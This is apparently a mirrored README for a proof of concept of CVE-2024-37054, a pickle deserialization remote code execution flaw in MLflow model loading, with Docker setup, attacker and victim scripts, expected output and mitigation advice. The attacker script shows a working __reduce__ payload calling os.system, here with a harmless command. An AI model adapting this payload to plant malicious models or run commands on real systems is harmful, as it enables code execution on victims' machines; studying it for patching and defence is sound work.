Associated Vulnerability
Description
NiteeshPujari/CVE-2024-37054, This repository contains a Proof of Concept (PoC) a critical deserialization vulnerability in MLflow that allows for Remote Code Execution (RCE).
Readme
<div align="center">
```
__ __ _ _____ _ ___ __ __
| \/ || | | ___|| | / _ \\ \ / /
| |\/| || | | |_ | | | | | |\ \ /\ / /
| | | || |___ | _| | |___| |_| | \ V V /
|_| |_||_____||_| |_____|\___/ \_/\_/
____ ____ _____ ____ ____
| _ \ / ___|| ____| | _ \ ___ / ___|
| |_) || | | _| | |_) |/ _ \ | |
| _ < | |___ | |___ | __/| (_) || |___
|_| \_\ \____||_____| |_| \___/ \____|
```
### **CVE-2024-37054: MLflow Remote Code Execution PoC**
</div>
<div align="center">
[](https://nvd.nist.gov/vuln/detail/CVE-2024-37054)
[](LICENSE)
[](https://github.com/NiteeshPujari)
[](https://www.linkedin.com/in/NiteeshPujari/)
</div>
---
This repository contains a Proof of Concept (PoC) for **CVE-2024-37054**, a critical deserialization vulnerability in MLflow that allows for Remote Code Execution (RCE).
## 📚 Table of Contents
- [Vulnerability Details](#-vulnerability-details)
- [Proof of Concept (PoC)](#-proof-of-concept-poc)
- [Mitigation](#-mitigation)
- [References](#-references)
- [About the Author](#-about-the-author)
---
## 🚨 Vulnerability Details
- **CVE ID**: `CVE-2024-37054`
- **Summary**: A deserialization vulnerability exists in the `mlflow.pyfunc.load_model` function. An attacker can craft a malicious model containing a pickled payload. When a victim loads this model, the payload is deserialized via `cloudpickle.load`, leading to arbitrary code execution on the victim's machine.
- **Products Impacted**: MLflow versions from `0.9.0` up to, but not including, `2.14.2`.
- **Vulnerable Function**: `_load_pyfunc` within `mlflow/pyfunc/model.py`.
---
## 🛠️ Proof of Concept (PoC)
This PoC simulates two roles: an **Attacker** who uploads a malicious model and a **Victim** who loads it, triggering the RCE.
### 1. Environment Setup
The easiest way to set up a vulnerable MLflow server is by using the provided Dockerfile.
**Build and Run the Docker Container:**
```sh
# 1. Build the Docker image
docker build -t mlflow-vulnerable .
# 2. Run the container, mapping port 5000 to the host
docker run -p 5000:5000 --name mlflow-poc-server -it mlflow-vulnerable
```
Your vulnerable MLflow server is now running at `http://127.0.0.1:5000`.
### 2. Execution Steps
You will need two separate terminals on your host machine. Ensure you have a vulnerable version of `mlflow` installed locally (`pip install mlflow==2.14.1`) to run the client scripts.
#### **Part 1: Attacker - Log the Malicious Model**
In your first terminal, run the attacker's script to log the malicious model.
<details>
<summary>Click to view Attacker's Script (poc/log_malicious_model.py)</summary>
```python
# poc/log_malicious_model.py
import mlflow
import os
# The URI of your MLflow tracking server
MLFLOW_TRACKING_URI = "http://127.0.0.1:5000"
REGISTERED_MODEL_NAME = "rce-payload-model"
class MaliciousCodeWrapper(mlflow.pyfunc.PythonModel):
def __init__(self):
class CommandRunner:
def __reduce__(self):
cmd = 'echo ">>> RCE PAYLOAD EXECUTED SUCCESSFULLY <<<" && echo > pwned.txt'
return (os.system, (cmd,))
self.payload = CommandRunner()
def predict(self, context, model_input):
return "This model is a malicious payload."
if __name__ == "__main__":
mlflow.set_tracking_uri(MLFLOW_TRACKING_URI)
mlflow.set_experiment("Security Demos")
with mlflow.start_run() as run:
mlflow.pyfunc.log_model(
artifact_path="model",
python_model=MaliciousCodeWrapper(),
registered_model_name=REGISTERED_MODEL_NAME
)
print(f"[*] Malicious model '{REGISTERED_MODEL_NAME}' has been logged.")
```
</details>
**Run it:**
```sh
python poc/log_malicious_model.py
```
#### **Part 2: Victim - Load the Vulnerable Model**
In your second terminal, run the victim's script to simulate loading the compromised model.
<details>
<summary>Click to view Victim's Script (poc/load_vulnerable_model.py)</summary>
```python
# poc/load_vulnerable_model.py
import mlflow
MLFLOW_TRACKING_URI = "http://127.0.0.1:5000"
REGISTERED_MODEL_NAME = "rce-payload-model"
MODEL_VERSION = 1
if __name__ == "__main__":
mlflow.set_tracking_uri(MLFLOW_TRACKING_URI)
model_uri = f"models:/{REGISTERED_MODEL_NAME}/{MODEL_VERSION}"
print(f"[*] VICTIM: Attempting to load model from URI: {model_uri}")
print("[*] The payload will execute on the next line...")
try:
loaded_model = mlflow.pyfunc.load_model(model_uri)
print("\n[*] Model loaded successfully.")
except Exception as e:
print(f"\n[!] An error occurred: {e}")
```
</details>
**Run it:**
```sh
python poc/load_vulnerable_model.py
```
### 3. Observe the Result
After running the victim's script, you will see the message **`/bin/sh: 1: >>> RCE PAYLOAD EXECUTED SUCCESSFULLY <<<: not found`** in the terminal, and a new file named `pwned.txt` will be created in your directory. This confirms successful command execution.
---
## 🛡️ Mitigation
- **Upgrade MLflow**: Upgrade to version **2.14.2** or later, where this vulnerability has been patched.
- **Never load untrusted models**: Only load ML models from sources you trust completely.
---
## 🔍 References
- **NVD**: [https://nvd.nist.gov/vuln/detail/CVE-2024-37054](https://nvd.nist.gov/vuln/detail/CVE-2024-37054)
- **Original Advisory**: [https://hiddenlayer.com/sai-security-advisory/2024-06-mlflow](https://hiddenlayer.com/sai-security-advisory/2024-06-mlflow)
---
## 👨💻 About the Author
This Proof of Concept was developed by **Pujari Niteesh**.
* **Cyber Security Research Engineer**
* **GitHub**: [NiteeshPujari](https://github.com/NiteeshPujari/)
* **LinkedIn**: [NiteeshPujari](https://www.linkedin.com/in/NiteeshPujari/)
* **Website**: [www.niteesh.in](https://www.niteesh.in)
File Snapshot
[4.0K] /data/pocs/907aaeb120bc3cc9da483e58ac17490833eff3f1
├── [1.0K] Dockerfile
├── [1.0K] LICENSE
├── [4.0K] poc
│ ├── [1.2K] load_vulnerable_model.py
│ └── [2.1K] log_malicious_model.py
└── [6.3K] README.md
1 directory, 5 files
Remarks
1. It is advised to access via the original source first.
2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.